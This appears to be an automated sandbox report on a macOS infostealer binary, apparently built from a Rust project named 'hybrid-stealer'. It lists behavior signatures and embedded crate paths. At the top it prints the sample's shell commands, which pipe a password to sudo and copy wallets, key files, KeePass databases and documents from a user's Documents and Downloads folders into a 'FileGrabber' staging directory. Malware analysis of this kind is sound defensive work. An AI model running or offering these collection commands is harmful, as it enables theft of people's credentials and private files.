Source: /bin/sh (PID: 1831)	Shell process: sh -c echo '123456' \| sudo -S find '/Users/bernardo/Documents' -maxdepth 4 -type f -size -5M $ -iname '.txt' -o -iname '.pdf' -o -iname '.docx' -o -iname '.rtf' -o -iname '.doc' -o -iname '.wallet' -o -iname '.keys' -o -iname '.key' -o -iname '.jpg' -o -iname '.png' -o -iname '.kdbx' -o -iname '.csv' -o -iname '*.json' $ -exec cp -n {} '/tmp/N9XlzLZbJYFiad6a5ve5HYatU/FileGrabber/FileGrabber' \ 2>/dev/null	Jump to behavior
Source: /bin/sh (PID: 1840)	Shell process: sh -c echo '123456' \| sudo -S find '/Users/bernardo/Downloads' -maxdepth 4 -type f -size -5M $ -iname '.txt' -o -iname '.pdf' -o -iname '.docx' -o -iname '.rtf' -o -iname '.doc' -o -iname '.wallet' -o -iname '.keys' -o -iname '.key' -o -iname '.jpg' -o -iname '.png' -o -iname '.kdbx' -o -iname '.csv' -o -iname '*.json' $ -exec cp -n {} '/tmp/N9XlzLZbJYFiad6a5ve5HYatU/FileGrabber/FileGrabber' \ 2>/dev/null	Jump to behavior
Source: /bin/sh (PID: 1852)	Shell process: sh -c sw_vers -productVersion	Jump to behavior

Source: submission

File header: Mach-O fat file with 2 architectures

Source: /usr/bin/osascript (PID: 1741)	AppleScript framework/component info plist opened: /System/Library/Components/AppleScript.component/Contents/Info.plist	Jump to behavior
Source: /usr/bin/osascript (PID: 1742)	AppleScript framework/component info plist opened: /System/Library/Components/AppleScript.component/Contents/Info.plist	Jump to behavior
Source: /usr/bin/osascript (PID: 1775)	AppleScript framework/component info plist opened: /System/Library/Components/AppleScript.component/Contents/Info.plist	Jump to behavior

Source: /usr/bin/osascript (PID: 1741)	AppleScript scripting addition info plist opened: /System/Library/ScriptingAdditions/StandardAdditions.osax/Contents/Info.plist	Jump to behavior
Source: /usr/bin/osascript (PID: 1741)	AppleScript scripting addition info plist opened: /System/Library/ScriptingAdditions/Digital Hub Scripting.osax/Contents/Info.plist	Jump to behavior
Source: /usr/bin/osascript (PID: 1742)	AppleScript scripting addition info plist opened: /System/Library/ScriptingAdditions/StandardAdditions.osax/Contents/Info.plist	Jump to behavior
Source: /usr/bin/osascript (PID: 1742)	AppleScript scripting addition info plist opened: /System/Library/ScriptingAdditions/Digital Hub Scripting.osax/Contents/Info.plist	Jump to behavior
Source: /usr/bin/osascript (PID: 1775)	AppleScript scripting addition info plist opened: /System/Library/ScriptingAdditions/StandardAdditions.osax/Contents/Info.plist	Jump to behavior
Source: /usr/bin/osascript (PID: 1775)	AppleScript scripting addition info plist opened: /System/Library/ScriptingAdditions/Digital Hub Scripting.osax/Contents/Info.plist	Jump to behavior

Source: /bin/bash (PID: 1772)	Awk executable: /usr/bin/awk -> awk /UUID/ { print $3 }			Jump to behavior
Source: /bin/bash (PID: 1817)	Awk executable: /usr/bin/awk -> awk /UUID/ { print $3 }			Jump to behavior

Source: submission: E9CX86U4Q7	Mach-O header: load_dylib -> /System/Library/Frameworks/AppKit.framework/Versions/C/AppKit
Source: submission: E9CX86U4Q7	Mach-O header: load_dylib -> /System/Library/Frameworks/AppKit.framework/Versions/C/AppKit

Source: submission: E9CX86U4Q7	Mach-O header: load_dylib -> /System/Library/Frameworks/CoreGraphics.framework/Versions/A/CoreGraphics
Source: submission: E9CX86U4Q7	Mach-O header: load_dylib -> /System/Library/Frameworks/CoreGraphics.framework/Versions/A/CoreGraphics

Source: submission: E9CX86U4Q7	Mach-O header: load_dylib -> /System/Library/Frameworks/CoreVideo.framework/Versions/A/CoreVideo
Source: submission: E9CX86U4Q7	Mach-O header: load_dylib -> /System/Library/Frameworks/CoreVideo.framework/Versions/A/CoreVideo

Source: submission: E9CX86U4Q7	Mach-O header: load_dylib -> /System/Library/Frameworks/Security.framework/Versions/A/Security
Source: submission: E9CX86U4Q7	Mach-O header: load_dylib -> /System/Library/Frameworks/Security.framework/Versions/A/Security

Source: submission: E9CX86U4Q7	Mach-O header: load_dylib -> /System/Library/Frameworks/SystemConfiguration.framework/Versions/A/SystemConfiguration
Source: submission: E9CX86U4Q7	Mach-O header: load_dylib -> /System/Library/Frameworks/SystemConfiguration.framework/Versions/A/SystemConfiguration

Source: submission	String containing user path: /Users/admin/.cargo/registry/src/index.crates.io-1949cf8c6b5b557f/security-framework-2.11.1/src/os/m
Source: submission	String containing user path: /Users/admin/.cargo/registry/src/index.crates.io-1949cf8c6b5b557f/serde_json-1.0.149/src/ser.rs
Source: submission	String containing user path: /Users/admin/.cargo/registry/src/index.crates.io-1949cf8c6b5b557f/block-buffer-0.10.4/src/lib.rs
Source: submission	String containing user path: /Users/admin/Desktop/amnesia/hybrid-stealer/target/x86_64-apple-darwin/release/build/macos-hybrid-st
Source: submission	String containing user path: /Users/admin/.cargo/registry/src/index.crates.io-1949cf8c6b5b557f/hmac-0.12.1/src/lib.rs
Source: submission	String containing user path: /Users/admin/.cargo/registry/src/index.crates.io-1949cf8c6b5b557f/sha1-0.10.6/src/lib.rs
Source: submission	String containing user path: /Users/admin/.cargo/registry/src/index.crates.io-1949cf8c6b5b557f/serde_json-1.0.149/src/value/ser.r
Source: submission	String containing user path: /Users/admin/.cargo/registry/src/index.crates.io-1949cf8c6b5b557f/rusqlite-0.31.0/src/lib.rs
Source: submission	String containing user path: /Users/admin/.cargo/registry/src/index.crates.io-1949cf8c6b5b557f/rusqlite-0.31.0/src/raw_statement.
Source: submission	String containing user path: /Users/admin/.cargo/registry/src/index.crates.io-1949cf8c6b5b557f/rusqlite-0.31.0/src/cache.rs
Source: submission	String containing user path: /Users/admin/.cargo/registry/src/index.crates.io-1949cf8c6b5b557f/rusqlite-0.31.0/src/column.rs
Source: submission	String containing user path: /Users/admin/.cargo/registry/src/index.crates.io-1949cf8c6b5b557f/aes-0.8.4/src/soft/fixslice64.rs
Source: submission	String containing user path: /Users/admin/.cargo/registry/src/index.crates.io-1949cf8c6b5b557f/serde_json-1.0.149/src/value/ser.r
Source: submission	String containing user path: /Users/admin/.cargo/registry/src/index.crates.io-1949cf8c6b5b557f/anyhow-1.0.101/src/fmt.rs
Source: submission	String containing user path: /Users/admin/.cargo/registry/src/index.crates.io-1949cf8c6b5b557f/anyhow-1.0.101/src/error.rs
Source: submission	String containing user path: /Users/admin/.cargo/registry/src/index.crates.io-1949cf8c6b5b557f/atomic-waker-1.1.2/src/lib.rs
Source: submission	String containing user path: /Users/admin/.cargo/registry/src/index.crates.io-1949cf8c6b5b557f/base64-0.22.1/src/engine/general_p
Source: submission	String containing user path: /Users/admin/.cargo/registry/src/index.crates.io-1949cf8c6b5b557f/anyhow-1.0.101/src/error.rs/rustc/
Source: submission	String containing user path: /Users/admin/.cargo/registry/src/index.crates.io-1949cf8c6b5b557f/bytes-1.11.1/src/lib.rs
Source: submission	String containing user path: /Users/admin/.cargo/registry/src/index.crates.io-1949cf8c6b5b557f/bytes-1.11.1/src/lib.rs)size too l
Source: submission	String containing user path: /Users/admin/.cargo/registry/src/index.crates.io-1949cf8c6b5b557f/core-foundation-0.9.4/src/boolean.
Source: submission	String containing user path: /Users/admin/.cargo/registry/src/index.crates.io-1949cf8c6b5b557f/encoding_rs-0.8.35/src/iso_2022_jp
Source: submission	String containing user path: /Users/admin/.cargo/registry/src/index.crates.io-1949cf8c6b5b557f/encoding_rs-0.8.35/src/data.rs
Source: submission	String containing user path: /Users/admin/.cargo/registry/src/index.crates.io-1949cf8c6b5b557f/encoding_rs-0.8.35/src/utf_8.rs
Source: submission	String containing user path: /Users/admin/.cargo/registry/src/index.crates.io-1949cf8c6b5b557f/encoding_rs-0.8.35/src/gb18030.rs
Source: submission	String containing user path: /Users/admin/.cargo/registry/src/index.crates.io-1949cf8c6b5b557f/encoding_rs-0.8.35/src/handles.rs
Source: submission	String containing user path: /Users/admin/.cargo/registry/src/index.crates.io-1949cf8c6b5b557f/futures-core-0.3.31/src/task/__int
Source: submission	String containing user path: /Users/admin/.cargo/registry/src/index.crates.io-1949cf8c6b5b557f/core-foundation-0.9.4/src/boolean.
Source: submission	String containing user path: /Users/admin/.cargo/registry/src/index.crates.io-1949cf8c6b5b557f/generic-array-0.14.7/src/lib.rs
Source: submission	String containing user path: /Users/admin/.cargo/registry/src/index.crates.io-1949cf8c6b5b557f/h2-0.4.13/src/frame/head.rs
Source: submission	String containing user path: /Users/admin/.cargo/registry/src/index.crates.io-1949cf8c6b5b557f/h2-0.4.13/src/frame/go_away.rs
Source: submission	String containing user path: /Users/admin/.cargo/registry/src/index.crates.io-1949cf8c6b5b557f/h2-0.4.13/src/frame/headers.rs
Source: submission	String containing user path: /Users/admin/.cargo/registry/src/index.crates.io-1949cf8c6b5b557f/h2-0.4.13/src/frame/settings.rs
Source: submission	String containing user path: /Users/admin/.cargo/registry/src/index.crates.io-1949cf8c6b5b557f/h2-0.4.13/src/frame/stream_id.rs
Source: submission	String containing user path: /Users/admin/.cargo/registry/src/index.crates.io-1949cf8c6b5b557f/h2-0.4.13/src/hpack/table.rs
Source: submission	String containing user path: /Users/admin/.cargo/registry/src/index.crates.io-1949cf8c6b5b557f/h2-0.4.13/src/hpack/header.rs
Source: submission	String containing user path: /Users/admin/.cargo/registry/src/index.crates.io-1949cf8c6b5b557f/h2-0.4.13/src/hpack/decoder.rs
Source: submission	String containing user path: /Users/admin/.cargo/registry/src/index.crates.io-1949cf8c6b5b557f/h2-0.4.13/src/hpack/encoder.rs
Source: submission	String containing user path: /Users/admin/.cargo/registry/src/index.crates.io-1949cf8c6b5b557f/h2-0.4.13/src/proto/peer.rs
Source: submission	String containing user path: /Users/admin/.cargo/registry/src/index.crates.io-1949cf8c6b5b557f/h2-0.4.13/src/frame/go_away.rs/Use
Source: submission	String containing user path: /Users/admin/.cargo/registry/src/index.crates.io-1949cf8c6b5b557f/h2-0.4.13/src/proto/streams/flow_c
Source: submission	String containing user path: /Users/admin/.cargo/registry/src/index.crates.io-1949cf8c6b5b557f/h2-0.4.13/src/proto/streams/state.
Source: submission	String containing user path: /Users/admin/.cargo/registry/src/index.crates.io-1949cf8c6b5b557f/h2-0.4.13/src/proto/streams/counts
Source: submission	String containing user path: /Users/admin/.cargo/registry/src/index.crates.io-1949cf8c6b5b557f/h2-0.4.13/src/proto/streams/stream
Source: submission	String containing user path: /Users/admin/.cargo/registry/src/index.crates.io-1949cf8c6b5b557f/h2-0.4.13/src/proto/streams/state.
Source: submission	String containing user path: /Users/admin/.cargo/registry/src/index.crates.io-1949cf8c6b5b557f/bytes-1.11.1/src/buf/uninit_slice.
Source: submission	String containing user path: /Users/admin/.cargo/registry/src/index.crates.io-1949cf8c6b5b557f/bytes-1.11.1/src/buf/buf_mut.rs
Source: submission	String containing user path: /Users/admin/.cargo/registry/src/index.crates.io-1949cf8c6b5b557f/bytes-1.11.1/src/buf/limit.rs
Source: submission	String containing user path: /Users/admin/.cargo/registry/src/index.crates.io-1949cf8c6b5b557f/indexmap-2.13.0/src/map.rs
Source: submission	String containing user path: /Users/admin/.cargo/registry/src/index.crates.io-1949cf8c6b5b557f/indexmap-2.13.0/src/inner.rs
Source: submission	String containing user path: /Users/admin/.cargo/registry/src/index.crates.io-1949cf8c6b5b557f/indexmap-2.13.0/src/inner/entry.rs
Source: submission	String containing user path: /Users/admin/.cargo/registry/src/index.crates.io-1949cf8c6b5b557f/hashbrown-0.16.1/src/raw/mod.rs
Source: submission	String containing user path: /Users/admin/.cargo/registry/src/index.crates.io-1949cf8c6b5b557f/http-1.4.0/src/uri/path.rs
Source: submission	String containing user path: /Users/admin/.cargo/registry/src/index.crates.io-1949cf8c6b5b557f/http-1.4.0/src/uri/authority.rs
Source: submission	String containing user path: /Users/admin/.cargo/registry/src/index.crates.io-1949cf8c6b5b557f/http-1.4.0/src/method.rs
Source: submission	String containing user path: /Users/admin/.cargo/registry/src/index.crates.io-1949cf8c6b5b557f/bytes-1.11.1/src/buf/uninit_slice.
Source: submission	String containing user path: /Users/admin/.cargo/registry/src/index.crates.io-1949cf8c6b5b557f/http-1.4.0/src/version.rs
Source: submission	String containing user path: /Users/admin/.cargo/registry/src/index.crates.io-1949cf8c6b5b557f/httparse-1.10.1/src/lib.rs
Source: submission	String containing user path: /Users/admin/.cargo/registry/src/index.crates.io-1949cf8c6b5b557f/httparse-1.10.1/src/simd/swar.rs
Source: submission	String containing user path: /Users/admin/.cargo/registry/src/index.crates.io-1949cf8c6b5b557f/hyper-1.8.1/src/body/incoming.rs
Source: submission	String containing user path: /Users/admin/.cargo/registry/src/index.crates.io-1949cf8c6b5b557f/httparse-1.10.1/src/lib.rs/Users/a
Source: submission	String containing user path: /Users/admin/.cargo/registry/src/index.crates.io-1949cf8c6b5b557f/hyper-1.8.1/src/error.rs
Source: submission	String containing user path: /Users/admin/.cargo/registry/src/index.crates.io-1949cf8c6b5b557f/hyper-1.8.1/src/proto/h1/role.rs
Source: submission	String containing user path: /Users/admin/.cargo/registry/src/index.crates.io-1949cf8c6b5b557f/hyper-1.8.1/src/error.rs/Users/adm
Source: submission	String containing user path: /Users/admin/.cargo/registry/src/index.crates.io-1949cf8c6b5b557f/hyper-1.8.1/src/proto/h2/mod.rs
Source: submission	String containing user path: /Users/admin/.cargo/registry/src/index.crates.io-1949cf8c6b5b557f/hyper-1.8.1/src/proto/h2/ping.rs
Source: submission	String containing user path: /Users/admin/.cargo/registry/src/index.crates.io-1949cf8c6b5b557f/hyper-1.8.1/src/proto/h2/upgrade.r
Source: submission	String containing user path: /Users/admin/.cargo/registry/src/index.crates.io-1949cf8c6b5b557f/hyper-1.8.1/src/common/time.rs
Source: submission	String containing user path: /Users/admin/.cargo/registry/src/index.crates.io-1949cf8c6b5b557f/hyper-1.8.1/src/headers.rs
Source: submission	String containing user path: /Users/admin/.cargo/registry/src/index.crates.io-1949cf8c6b5b557f/hyper-1.8.1/src/proto/h2/mod.rs/Us
Source: submission	String containing user path: /Users/admin/.cargo/registry/src/index.crates.io-1949cf8c6b5b557f/hyper-util-0.1.20/src/client/proxy
Source: submission	String containing user path: /Users/admin/.cargo/registry/src/index.crates.io-1949cf8c6b5b557f/tokio-1.49.0/src/runtime/blocking/
Source: submission	String containing user path: /Users/admin/.cargo/registry/src/index.crates.io-1949cf8c6b5b557f/http-1.4.0/src/uri/scheme.rs
Source: submission	String containing user path: /Users/admin/.cargo/registry/src/index.crates.io-1949cf8c6b5b557f/tokio-1.49.0/src/runtime/blocking/
Source: submission	String containing user path: /Users/admin/.cargo/registry/src/index.crates.io-1949cf8c6b5b557f/base64-0.22.1/src/write/encoder.rs
Source: submission	String containing user path: /Users/admin/.cargo/registry/src/index.crates.io-1949cf8c6b5b557f/base64-0.22.1/src/encode.rs
Source: submission	String containing user path: /Users/admin/.cargo/registry/src/index.crates.io-1949cf8c6b5b557f/base64-0.22.1/src/engine/mod.rs
Source: submission	String containing user path: /Users/admin/.cargo/registry/src/index.crates.io-1949cf8c6b5b557f/base64-0.22.1/src/write/encoder.rs
Source: submission	String containing user path: /Users/admin/.cargo/registry/src/index.crates.io-1949cf8c6b5b557f/idna-1.1.0/src/uts46.rs
Source: submission	String containing user path: /Users/admin/.cargo/registry/src/index.crates.io-1949cf8c6b5b557f/smallvec-1.15.1/src/lib.rs
Source: submission	String containing user path: /Users/admin/.cargo/registry/src/index.crates.io-1949cf8c6b5b557f/icu_normalizer-2.1.1/src/lib.rs
Source: submission	String containing user path: /Users/admin/.cargo/registry/src/index.crates.io-1949cf8c6b5b557f/idna-1.1.0/src/punycode.rs
Source: submission	String containing user path: /Users/admin/.cargo/registry/src/index.crates.io-1949cf8c6b5b557f/ipnet-2.11.0/src/parser.rs
Source: submission	String containing user path: /Users/admin/.cargo/registry/src/index.crates.io-1949cf8c6b5b557f/iri-string-0.7.10/src/components.r
Source: submission	String containing user path: /Users/admin/.cargo/registry/src/index.crates.io-1949cf8c6b5b557f/iri-string-0.7.10/src/parser/trust
Source: submission	String containing user path: /Users/admin/.cargo/registry/src/index.crates.io-1949cf8c6b5b557f/iri-string-0.7.10/src/normalize.rs
Source: submission	String containing user path: /Users/admin/.cargo/registry/src/index.crates.io-1949cf8c6b5b557f/iri-string-0.7.10/src/normalize/pc
Source: submission	String containing user path: /Users/admin/.cargo/registry/src/index.crates.io-1949cf8c6b5b557f/itoa-1.0.17/src/lib.rs
Source: submission	String containing user path: /Users/admin/.cargo/registry/src/index.crates.io-1949cf8c6b5b557f/idna-1.1.0/src/punycode.rs/Users/a
Source: submission	String containing user path: /Users/admin/.cargo/registry/src/index.crates.io-1949cf8c6b5b557f/mime-0.3.17/src/parse.rs
Source: submission	String containing user path: /Users/admin/.cargo/registry/src/index.crates.io-1949cf8c6b5b557f/mime-0.3.17/src/parse.rsinit unexp
Source: submission	String containing user path: /Users/admin/.cargo/registry/src/index.crates.io-1949cf8c6b5b557f/objc2-0.6.4/src/runtime/mod.rs
Source: submission	String containing user path: /Users/admin/.cargo/registry/src/index.crates.io-1949cf8c6b5b557f/objc2-app-kit-0.3.2/src/generated/
Source: submission	String containing user path: /Users/admin/.cargo/registry/src/index.crates.io-1949cf8c6b5b557f/objc2-app-kit-0.3.2/src/generated/
Source: submission	String containing user path: /Users/admin/.cargo/registry/src/index.crates.io-1949cf8c6b5b557f/objc2-app-kit-0.3.2/src/generated/
Source: submission	String containing user path: /Users/admin/.cargo/registry/src/index.crates.io-1949cf8c6b5b557f/objc2-app-kit-0.3.2/src/generated/
Source: submission	String containing user path: /Users/admin/.cargo/registry/src/index.crates.io-1949cf8c6b5b557f/objc2-app-kit-0.3.2/src/generated/
Source: submission	String containing user path: /Users/admin/.cargo/registry/src/index.crates.io-1949cf8c6b5b557f/objc2-foundation-0.3.2/src/generat
Source: submission	String containing user path: /Users/admin/.cargo/registry/src/index.crates.io-1949cf8c6b5b557f/objc2-foundation-0.3.2/src/generat
Source: submission	String containing user path: /Users/admin/.cargo/registry/src/index.crates.io-1949cf8c6b5b557f/objc2-foundation-0.3.2/src/generat
Source: submission	String containing user path: /Users/admin/.cargo/registry/src/index.crates.io-1949cf8c6b5b557f/objc2-foundation-0.3.2/src/generat
Source: submission	String containing user path: /Users/admin/.cargo/registry/src/index.crates.io-1949cf8c6b5b557f/objc2-foundation-0.3.2/src/string.
Source: submission	String containing user path: /Users/admin/.cargo/registry/src/index.crates.io-1949cf8c6b5b557f/percent-encoding-2.3.2/src/lib.rs
Source: submission	String containing user path: /Users/admin/.cargo/registry/src/index.crates.io-1949cf8c6b5b557f/rand-0.8.5/src/rngs/thread.rs
Source: submission	String containing user path: /Users/admin/.cargo/registry/src/index.crates.io-1949cf8c6b5b557f/rand-0.8.5/src/rngs/adapter/reseed
Source: submission	String containing user path: /Users/admin/.cargo/registry/src/index.crates.io-1949cf8c6b5b557f/rand-0.8.5/src/rngs/adapter/reseed
Source: submission	String containing user path: /Users/admin/.cargo/registry/src/index.crates.io-1949cf8c6b5b557f/rand_chacha-0.3.1/src/guts.rs
Source: submission	String containing user path: /Users/admin/.cargo/registry/src/index.crates.io-1949cf8c6b5b557f/hyper-util-0.1.20/src/service/ones
Source: submission	String containing user path: /Users/admin/.cargo/registry/src/index.crates.io-1949cf8c6b5b557f/futures-util-0.3.31/src/future/fut
Source: submission	String containing user path: /Users/admin/.cargo/registry/src/index.crates.io-1949cf8c6b5b557f/hyper-1.8.1/src/proto/h2/client.rs
Source: submission	String containing user path: /Users/admin/.cargo/registry/src/index.crates.io-1949cf8c6b5b557f/tokio-native-tls-0.3.1/src/lib.rs
Source: submission	String containing user path: /Users/admin/.cargo/registry/src/index.crates.io-1949cf8c6b5b557f/http-body-util-0.1.3/src/combinato
Source: submission	String containing user path: /Users/admin/.cargo/registry/src/index.crates.io-1949cf8c6b5b557f/hyper-1.8.1/src/client/conn/http2.
Source: submission	String containing user path: /Users/admin/.cargo/registry/src/index.crates.io-1949cf8c6b5b557f/hyper-tls-0.6.0/src/client.rs
Source: submission	String containing user path: /Users/admin/.cargo/registry/src/index.crates.io-1949cf8c6b5b557f/tower-0.5.3/src/retry/future.rs
Source: submission	String containing user path: /Users/admin/.cargo/registry/src/index.crates.io-1949cf8c6b5b557f/hyper-util-0.1.20/src/rt/io.rs
Source: submission	String containing user path: /Users/admin/.cargo/registry/src/index.crates.io-1949cf8c6b5b557f/hyper-util-0.1.20/src/client/legac
Source: submission	String containing user path: /Users/admin/.cargo/registry/src/index.crates.io-1949cf8c6b5b557f/hyper-util-0.1.20/src/client/legac
Source: submission	String containing user path: /Users/admin/.cargo/registry/src/index.crates.io-1949cf8c6b5b557f/rand_chacha-0.3.1/src/guts.rs/User
Source: submission	String containing user path: /Users/admin/.cargo/registry/src/index.crates.io-1949cf8c6b5b557f/hyper-util-0.1.20/src/client/legac
Source: submission	String containing user path: /Users/admin/.cargo/registry/src/index.crates.io-1949cf8c6b5b557f/hyper-util-0.1.20/src/client/legac
Source: submission	String containing user path: /Users/admin/.cargo/registry/src/index.crates.io-1949cf8c6b5b557f/hyper-util-0.1.20/src/client/legac
Source: submission	String containing user path: /Users/admin/.cargo/registry/src/index.crates.io-1949cf8c6b5b557f/hyper-util-0.1.20/src/common/lazy.
Source: submission	String containing user path: /Users/admin/.cargo/registry/src/index.crates.io-1949cf8c6b5b557f/tokio-util-0.7.18/src/util/poll_bu
Source: submission	String containing user path: /Users/admin/.cargo/registry/src/index.crates.io-1949cf8c6b5b557f/encoding_rs-0.8.35/src/lib.rs
Source: submission	String containing user path: /Users/admin/.cargo/registry/src/index.crates.io-1949cf8c6b5b557f/hyper-1.8.1/src/client/conn/http1.
Source: submission	String containing user path: /Users/admin/.cargo/registry/src/index.crates.io-1949cf8c6b5b557f/reqwest-0.12.28/src/async_impl/cli
Source: submission	String containing user path: /Users/admin/.cargo/registry/src/index.crates.io-1949cf8c6b5b557f/futures-channel-0.3.31/src/mpsc/mo
Source: submission	String containing user path: /Users/admin/.cargo/registry/src/index.crates.io-1949cf8c6b5b557f/futures-channel-0.3.31/src/mpsc/qu
Source: submission	String containing user path: /Users/admin/.cargo/registry/src/index.crates.io-1949cf8c6b5b557f/futures-channel-0.3.31/src/oneshot
Source: submission	String containing user path: /Users/admin/.cargo/registry/src/index.crates.io-1949cf8c6b5b557f/reqwest-0.12.28/src/redirect.rs
Source: submission	String containing user path: /Users/admin/.cargo/registry/src/index.crates.io-1949cf8c6b5b557f/http-1.4.0/src/header/map.rs
Source: submission	String containing user path: /Users/admin/.cargo/registry/src/index.crates.io-1949cf8c6b5b557f/futures-util-0.3.31/src/future/try
Source: submission	String containing user path: /Users/admin/.cargo/registry/src/index.crates.io-1949cf8c6b5b557f/security-framework-2.11.1/src/secu
Source: submission	String containing user path: /Users/admin/.cargo/registry/src/index.crates.io-1949cf8c6b5b557f/h2-0.4.13/src/codec/framed_read.rs
Source: submission	String containing user path: /Users/admin/.cargo/registry/src/index.crates.io-1949cf8c6b5b557f/h2-0.4.13/src/codec/framed_write.r
Source: submission	String containing user path: /Users/admin/.cargo/registry/src/index.crates.io-1949cf8c6b5b557f/h2-0.4.13/src/frame/data.rs
Source: submission	String containing user path: /Users/admin/.cargo/registry/src/index.crates.io-1949cf8c6b5b557f/h2-0.4.13/src/proto/connection.rs
Source: submission	String containing user path: /Users/admin/.cargo/registry/src/index.crates.io-1949cf8c6b5b557f/h2-0.4.13/src/proto/go_away.rs
Source: submission	String containing user path: /Users/admin/.cargo/registry/src/index.crates.io-1949cf8c6b5b557f/h2-0.4.13/src/proto/streams/priori
Source: submission	String containing user path: /Users/admin/.cargo/registry/src/index.crates.io-1949cf8c6b5b557f/h2-0.4.13/src/proto/streams/recv.r
Source: submission	String containing user path: /Users/admin/.cargo/registry/src/index.crates.io-1949cf8c6b5b557f/h2-0.4.13/src/proto/streams/store.
Source: submission	String containing user path: /Users/admin/.cargo/registry/src/index.crates.io-1949cf8c6b5b557f/h2-0.4.13/src/proto/streams/buffer
Source: submission	String containing user path: /Users/admin/.cargo/registry/src/index.crates.io-1949cf8c6b5b557f/h2-0.4.13/src/proto/streams/stream
Source: submission	String containing user path: /Users/admin/.cargo/registry/src/index.crates.io-1949cf8c6b5b557f/h2-0.4.13/src/proto/settings.rs
Source: submission	String containing user path: /Users/admin/.cargo/registry/src/index.crates.io-1949cf8c6b5b557f/h2-0.4.13/src/proto/ping_pong.rs
Source: submission	String containing user path: /Users/admin/.cargo/registry/src/index.crates.io-1949cf8c6b5b557f/h2-0.4.13/src/client.rs
Source: submission	String containing user path: /Users/admin/.cargo/registry/src/index.crates.io-1949cf8c6b5b557f/http-1.4.0/src/header/value.rs
Source: submission	String containing user path: /Users/admin/.cargo/registry/src/index.crates.io-1949cf8c6b5b557f/slab-0.4.12/src/lib.rs
Source: submission	String containing user path: /Users/admin/.cargo/registry/src/index.crates.io-1949cf8c6b5b557f/reqwest-0.12.28/src/util.rs
Source: submission	String containing user path: /Users/admin/.cargo/registry/src/index.crates.io-1949cf8c6b5b557f/hyper-1.8.1/src/rt/io.rs
Source: submission	String containing user path: /Users/admin/.cargo/registry/src/index.crates.io-1949cf8c6b5b557f/hyper-1.8.1/src/proto/h1/io.rs
Source: submission	String containing user path: /Users/admin/.cargo/registry/src/index.crates.io-1949cf8c6b5b557f/hyper-util-0.1.20/src/client/legac
Source: submission	String containing user path: /Users/admin/.cargo/registry/src/index.crates.io-1949cf8c6b5b557f/hyper-1.8.1/src/proto/h1/conn.rs
Source: submission	String containing user path: /Users/admin/.cargo/registry/src/index.crates.io-1949cf8c6b5b557f/hyper-1.8.1/src/proto/h1/conn.rsHi
Source: submission	String containing user path: /Users/admin/.cargo/registry/src/index.crates.io-1949cf8c6b5b557f/hyper-1.8.1/src/proto/h1/decode.rs
Source: submission	String containing user path: /Users/admin/.cargo/registry/src/index.crates.io-1949cf8c6b5b557f/hyper-1.8.1/src/proto/h1/encode.rs
Source: submission	String containing user path: /Users/admin/.cargo/registry/src/index.crates.io-1949cf8c6b5b557f/hyper-1.8.1/src/client/dispatch.rs
Source: submission	String containing user path: /Users/admin/.cargo/registry/src/index.crates.io-1949cf8c6b5b557f/tokio-1.49.0/src/net/tcp/socket.rs
Source: submission	String containing user path: /Users/admin/.cargo/registry/src/index.crates.io-1949cf8c6b5b557f/tokio-1.49.0/src/sync/mpsc/chan.rs
Source: submission	String containing user path: /Users/admin/.cargo/registry/src/index.crates.io-1949cf8c6b5b557f/tokio-1.49.0/src/sync/mpsc/list.rs
Source: submission	String containing user path: /Users/admin/.cargo/registry/src/index.crates.io-1949cf8c6b5b557f/tokio-1.49.0/src/sync/mpsc/unbound
Source: submission	String containing user path: /Users/admin/.cargo/registry/src/index.crates.io-1949cf8c6b5b557f/tokio-1.49.0/src/util/sharded_list
Source: submission	String containing user path: /Users/admin/.cargo/registry/src/index.crates.io-1949cf8c6b5b557f/hyper-1.8.1/src/proto/h1/decode.rs
Source: submission	String containing user path: /Users/admin/.cargo/registry/src/index.crates.io-1949cf8c6b5b557f/mime-0.3.17/src/lib.rs
Source: submission	String containing user path: /Users/admin/.cargo/registry/src/index.crates.io-1949cf8c6b5b557f/reqwest-0.12.28/src/connect.rs
Source: submission	String containing user path: /Users/admin/.cargo/registry/src/index.crates.io-1949cf8c6b5b557f/bytes-1.11.1/src/buf/take.rs
Source: submission	String containing user path: /Users/admin/.cargo/registry/src/index.crates.io-1949cf8c6b5b557f/reqwest-0.12.28/src/async_impl/bod
Source: submission	String containing user path: /Users/admin/.cargo/registry/src/index.crates.io-1949cf8c6b5b557f/reqwest-0.12.28/src/async_impl/req
Source: submission	String containing user path: /Users/admin/.cargo/registry/src/index.crates.io-1949cf8c6b5b557f/reqwest-0.12.28/src/async_impl/res
Source: submission	String containing user path: /Users/admin/.cargo/registry/src/index.crates.io-1949cf8c6b5b557f/mime-0.3.17/src/lib.rs/Users/admin
Source: submission	String containing user path: /Users/admin/.cargo/registry/src/index.crates.io-1949cf8c6b5b557f/reqwest-0.12.28/src/proxy.rs
Source: submission	String containing user path: /Users/admin/.cargo/registry/src/index.crates.io-1949cf8c6b5b557f/reqwest-0.12.28/src/blocking/body.
Source: submission	String containing user path: /Users/admin/.cargo/registry/src/index.crates.io-1949cf8c6b5b557f/reqwest-0.12.28/src/blocking/clien
Source: submission	String containing user path: /Users/admin/.cargo/registry/src/index.crates.io-1949cf8c6b5b557f/reqwest-0.12.28/src/dns/gai.rs
Source: submission	String containing user path: /Users/admin/.cargo/registry/src/index.crates.io-1949cf8c6b5b557f/hyper-1.8.1/src/common/buf.rs
Source: submission	String containing user path: /Users/admin/.cargo/registry/src/index.crates.io-1949cf8c6b5b557f/bytes-1.11.1/src/buf/chain.rs
Source: submission	String containing user path: /Users/admin/.cargo/registry/src/index.crates.io-1949cf8c6b5b557f/http-body-util-0.1.3/src/util.rs
Source: submission	String containing user path: /Users/admin/.cargo/registry/src/index.crates.io-1949cf8c6b5b557f/hyper-util-0.1.20/src/rt/tokio.rs
Source: submission	String containing user path: /Users/admin/.cargo/registry/src/index.crates.io-1949cf8c6b5b557f/tower-0.5.3/src/timeout/mod.rs
Source: submission	String containing user path: /Users/admin/.cargo/registry/src/index.crates.io-1949cf8c6b5b557f/futures-util-0.3.31/src/future/rea
Source: submission	String containing user path: /Users/admin/.cargo/registry/src/index.crates.io-1949cf8c6b5b557f/tower-0.5.3/src/util/oneshot.rs
Source: submission	String containing user path: /Users/admin/.cargo/registry/src/index.crates.io-1949cf8c6b5b557f/tokio-1.49.0/src/io/util/write_all
Source: submission	String containing user path: /Users/admin/.cargo/registry/src/index.crates.io-1949cf8c6b5b557f/hyper-1.8.1/src/common/io/compat.r
Source: submission	String containing user path: /Users/admin/.cargo/registry/src/index.crates.io-1949cf8c6b5b557f/futures-util-0.3.31/src/sink/feed.
